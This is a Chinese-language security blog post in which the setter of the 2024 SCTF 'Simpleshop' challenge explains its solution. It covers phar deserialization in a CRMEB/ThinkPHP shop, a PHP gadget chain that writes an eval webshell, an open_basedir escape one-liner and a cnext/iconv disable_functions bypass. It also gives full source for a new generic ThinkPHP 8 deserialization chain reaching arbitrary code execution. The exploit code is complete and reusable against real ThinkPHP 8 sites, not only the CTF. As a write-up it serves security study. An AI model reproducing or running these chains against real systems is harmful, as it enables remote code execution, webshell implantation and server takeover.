2024 SCTF Simpleshop 出题笔记以及对Thinkphp8任意命令执行的改造
J2zz 发表于 江苏 技术文章 420浏览 · 2024-11-21 13:45

[TOC]

出题思路

出题思路来源于大一下学习代码审计时随便审计的练手的一个小项目交了个前台RCE的洞CVE-2024-6944

其实这道题主要是想考一下在Thinkphp框架下在反序列化过程中如何实现任意文件写入以及cnext绕过disable_function实现命令执行

下载源码后进行简单的代码审计可以发现这套系统是显式路由模式在router自定义了路由实现,值得注意的是和常规的PATHINFO模式有点不太一样

but I have disabled almost all the dangerous functions of php, and does some common php security restrictions

这里letter暗示程序开启了较为严格的disabled_functionopen_basedir安全限制,比较接近真实环境的php配置,所以常见的命令执行函数是可能失效的

这里在register.html提供了前台的用户注册接口 随便注册用户

非常明显的是 前台用户可以控制的就是头像上传点 但是做了一些后缀以及内容的安全限制

php版本 <8 而且是国内常用的thinkphp框架 自然会想到打phar反序列化

可以比较明显发现Sink点 在 app/common.php 可以触发反序列化

通过访问/api/image_base64是会处理到get_image_base64函数当中的实现触发

紧接着是if判断 但是这里明显存在 逻辑上的问题 应该用|| 连接 可以导致后缀的绕过 后果就是: 只要不为空即可绕过 判断

需要注意的是存在 CacheService::remember缓存机制

这意味着我们同一个图片只能够使用一次触发

put_image中触发phar反序列化 image_to_base64可以触发任意文件读取/SSRF

这里我们主要关注phar反序列化的实现 跟进put_image

发现对phar做了置空处理 双写/大小写绕过即可

链子部分由于我们禁用了大部分命令执行函数 优先考虑实现任意文件写

仔细观察 可以发现在安装程序时 public一定时可写的

那么写文件是可以实现的

这里讲下链子部分 认真学习了各位Web大手子的WP 每位师傅的思路都很清晰

出题时没有考虑到程序用到不是原生的thinkphp框架 导致可以实现guzzle任意文件写文件 简化了写文件的过程

https://github.com/ambionics/phpggc/blob/master/gadgetchains/Guzzle/FW/1/gadgets.php 确实是我的疏忽

其他大多数Web大哥的思路 都是通过反序列化链最终实现任意代码执行触发到eval 实现 思路非常优秀 可以参考一下他们的解法

这里提供一种当时想出来比较取巧的一种思路

一般来说 thinkphp框架最后sink点大致可以分为两类

一种是通过 __call方法实现跳板到call_user_func_array 实现rce或者接着当跳板实现其他目的

另外一种就是利用匿名类closure实现动态控制函数实现

我们可以通过控制 $closure($value, $this->data);实现我们的目的

网上的大师傅们一般都是在这个地方实现rce 比如system

但是实际上 $value=this->data 我们在获取value时走到第一个判断就返回$this->data的值了

相当于向system传入两个一摸一样的参数

意外的可以执行 原因在于 system接受一个可选参数作为返回值存储 比较巧合

这里明显可以控制两个参数 可以尝试用 file_put_contents('/var/www/public/myshell','<?php eval($_POST[1]);?>')

写入实现任意文件写 问题是我们分别如何控制每个参数的值了?

最后发现$value的值可以由getData获取

接着跟进getRealFieldName后 发现可以 存在strict属性

在三元表达式中可以令 strict=false 令严格模式为假

触发 Snake 驼峰命名转化机制 让key值实现不同

实现 进入判断2 返回relation中的值

从而实现单独控制每个参数的作用

<?php  

  namespace think\model\concern;  

  trait Attribute  
  {     
      protected $strict = false;
      private $data = ["J1rry" => "<?php eval(\$_POST[1]);?>"];  
      private $withAttr = ["_j1rry" =>"file_put_contents"];  
      private $relation = ["_j1rry" => "/var/www/public/myshell.php"];  
  }  

  namespace think;  

  abstract class Model  
  {  
      use model\concern\Attribute;  
      private $lazySave;  
      protected $withEvent;  
      private $exists;  
      private $force;  
      protected $table;  
      function __construct($obj = '')  
      {  
          $this->lazySave = true;  
          $this->withEvent = false;  
          $this->exists = true;  
          $this->force = true;  
          $this->table = $obj;  
      }  
  }  
  namespace app\model\product\product;  

  use crmeb\traits\ModelTrait;  
  use think\Model;  


  class StoreProductCate extends Model  
  {  
  }  

  $a = new StoreProductCate();  
  $b = new StoreProductCate($a);  
  echo urlencode(serialize($b));  
  $phar = new \Phar('x.phar');  
  $phar->stopBuffering(); 
  $phar->setStub( 'GIF89a'.'<?php __HALT_COMPILER();?>');  
  $phar->addFromString('test.txt', 'J1rrY');  
  $phar->setMetadata($b);  
  $phar->stopBuffering();

最终实现了 file_put_contents的效果

gzip打包 一下绕过明文检测

上传恶意phar文件的后

触发 phar反序列化

可以实现webshell文件的写入

这里disabled_function比较丧心病狂

system,exec, pcntl_exec, shell_exec, passthru, proc_get_status, checkdnsrr, getmxrr, getservbyname, getservbyport, syslog, popen, show_source, highlight_file, dl, socket_listen, socket_create, socket_bind, socket_accept, socket_connect, stream_socket_server, stream_socket_accept, stream_socket_client, ftp_connect, ftp_login, ftp_pasv, ftp_get, sys_getloadavg, disk_total_space, disk_free_space, posix_ctermid, posix_get_last_error, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix_getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_strerror, posix_times, posix_ttyname, posix_uname, assert, assert_options, proc_open, proc_close, proc_nice, proc_terminate, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, pcntl_signal_dispatch, pcntl_alarm, pcntl_get_last_error, pcntl_errno, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_wait, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, mb_send_mail, putenv, error_log,str_shuffle

我花了很长时间专门找了一个古老的内核版本,glibc版本可以打通iconv的docker镜像 但是显然不只存在iconv的问题 直接蚁剑提权一把梭了 哭了

正常官方镜像是打不通的(hub太安全了不是)

直接打cnext就可以了 来绕过disable_function 的限制

先读 /proc/self/maps找函数地址

mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));readfile('php://filter/convert.base64-encode/resource=/proc/self/maps');

看到很多师傅都用 kezibei 师傅的本地化项目 可以推荐一下

https://github.com/kezibei/php-filter-iconv/tree/main

后面就是简单的suid提权

grep '' /flag即可

可以成功得到flag

复现的docker环境放在了 https://github.com/J1rrY-learn/2024_SCTF_SimpleShop_docker

通用化改造

认真学习了网上的文章和WP 都是Thinkphp5,6给出触发到任意代码执行的方法 这里可以尝试对Thinkphp8实现通用化改造

原理:在Thinkphp框架模板渲染注入中可以实现eval执行任意命令

参考:https://xz.aliyun.com/t/15591

自己重新写了Thinkphp8高版本的反序列化链实现任意代码执行,而不仅仅是命令执行RCE,可以适用于更多的复杂情况

<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub
{
    public $value="<?php system('calc');?>";

}
namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{

}

namespace think\view\driver;
class Php 
{

}



namespace think;
use think\view\driver\Php;
class Validate
{
    protected $type;
    public function __construct()
    {
        $this->type = ["visible"=>[new Php,"display"]];
    }
}

namespace think\model\concern;
use think\Model;

trait Conversion
{

}

namespace think;
use Symfony\Component\VarDumper\Caster\ConstStub;
abstract class Model 
{
    protected $append = ["J1rrY"=>["J1rrY"]];
    protected $visible;
    private $relation;
    public function __construct()
    {
        $this->relation = ["J1rrY"=>new Validate()];
        $this->visible = ["J1rrY"=>new ConstStub()];
    }
}


namespace think\model;
use think\Model;
class Pivot extends Model
{

}



namespace think\route;
use think\model\Pivot;
abstract class Rule
{

    protected $name="J1rrY";
    protected $rule="J1rrY";   
    protected $option;
    public function __construct()
    {
        $this->option= ["var"=>["J1rrY"=>new Pivot()]];
    }

}
namespace think\route;

class RuleGroup extends Rule
{

}

namespace think\route;
class Resource extends RuleGroup
{
    protected $rest = ["J1rrY"=>["J1rrY","<id>"]];
}
namespace think\route;
class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource =new Resource();
    }
}
echo(base64_encode(serialize(new ResourceRegister())));
?>

最终可以成功得到一条适用于Thinkphp 8 的任意代码执行的链子,让Thinkphp的反序列化问题在复杂环境下具有通用性

0 条评论
某人
表情
可输入 255
目录